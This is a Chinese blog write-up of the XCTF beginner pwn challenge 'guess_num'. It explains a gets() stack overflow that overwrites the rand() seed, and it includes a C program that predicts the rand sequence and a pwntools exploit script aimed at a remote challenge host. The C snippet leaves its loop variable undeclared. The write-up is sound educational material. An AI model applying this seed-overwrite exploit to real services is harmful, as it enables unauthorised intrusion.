xctf--新手区--guess_num

writeup

老规矩,先checksec下,查看保护机制
在这里插入图片描述64位程序,保护机制全开啊,不过不慌,先运行一下大致看看
在这里插入图片描述
两次输入分别是Your name和 guess number ,其余皆是程序输出,貌似没有得到什么有用的东西。
再次借助强大的IDA查看源码:
在这里插入图片描述分析源码得知,我们要输入十次随机数产生的值,如果一次错,那就GG,十次全部输入正确,就success!,flag应该就藏在success的背后,所以无论如何我们都要把这十次输入弄成正确的。

当然,要十次输入的数并不是真要我们去猜(如果真的都猜对,哈哈,那你应该去买彩票了),我们从产生这些数的rand函数入手。

在这里插入图片描述红色部分是比较重要的,也是攻克本题的重要一步。rand函数产生随机数的时候,需要一个种子,如果这个种子是一样的话,产生的随机数也是一样的。
因为我们先要输入name,要是我们通过gets(),输入一个很长的字符串,刚好把seed的值覆盖掉,那么seed的产生的随机值就会成为可控的一个序列
可是输入的name要多长呢?

由下图我们看到,我们要选取的seed的值在rbp-10h处,而我们输入name的一个区域在rbp-30h处,所以我们至少要输入20h个字符才可以覆盖掉seed
在这里插入图片描述

知道了输入name的长度,我们就可以写一个c程序先预判当seed是a的时候产生的随机数分别是多少:

#include<stdio.h>
#include<stdlib.h>
int main()
{
srand(0x61616161);
for(i=0;i<10;i++)
{
int b=rand()%6+1;
printf("%d\n",b);
}
return 0;
}


开始的时候我直接运行没有成功,然后编译之后就运行成功了。
在这里插入图片描述得到了这10个数,我们再次运行源文件,并把这些数字依次输入
在这里插入图片描述在这里插入图片描述
我的flag竟然没有,同样的做法别人都得到了flag,试了很多次也无果,那就再试试另一种方法,直接写python脚本进行加交互

from pwn import*
from ctypes import*
context.log_level='debug'
r=remote("159.138.137.79","63574")
#elf=ELF('./guess_num')
payload='a'*0x20+p64(1)
print(payload)
r.recvuntil('Your name:')
r.sendline(payload)
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
for i in range(10):
        r.recvuntil('number:')
        r.sendline(str(libc.rand()%6+1))
        
r.interactive()

如果想知道你机器的版本 可以 ldd guess_num
在这里插入图片描述拿到flag!
在这里插入图片描述

总结:

这个题目主要的突破点在于用name的值覆盖掉seed的值,从而达到rand产生的随机数我们是可以预判的一个效果,不过两种方法理论上应该是都可以的,肯定是某处有问题我忽略了,不过大致方法我们已经掌握了!

参考文章:

https://blog.csdn.net/lvyibin890/article/details/80141412
xctf自带的writeup

猜你喜欢

转载自blog.csdn.net/qq_44108455/article/details/105640958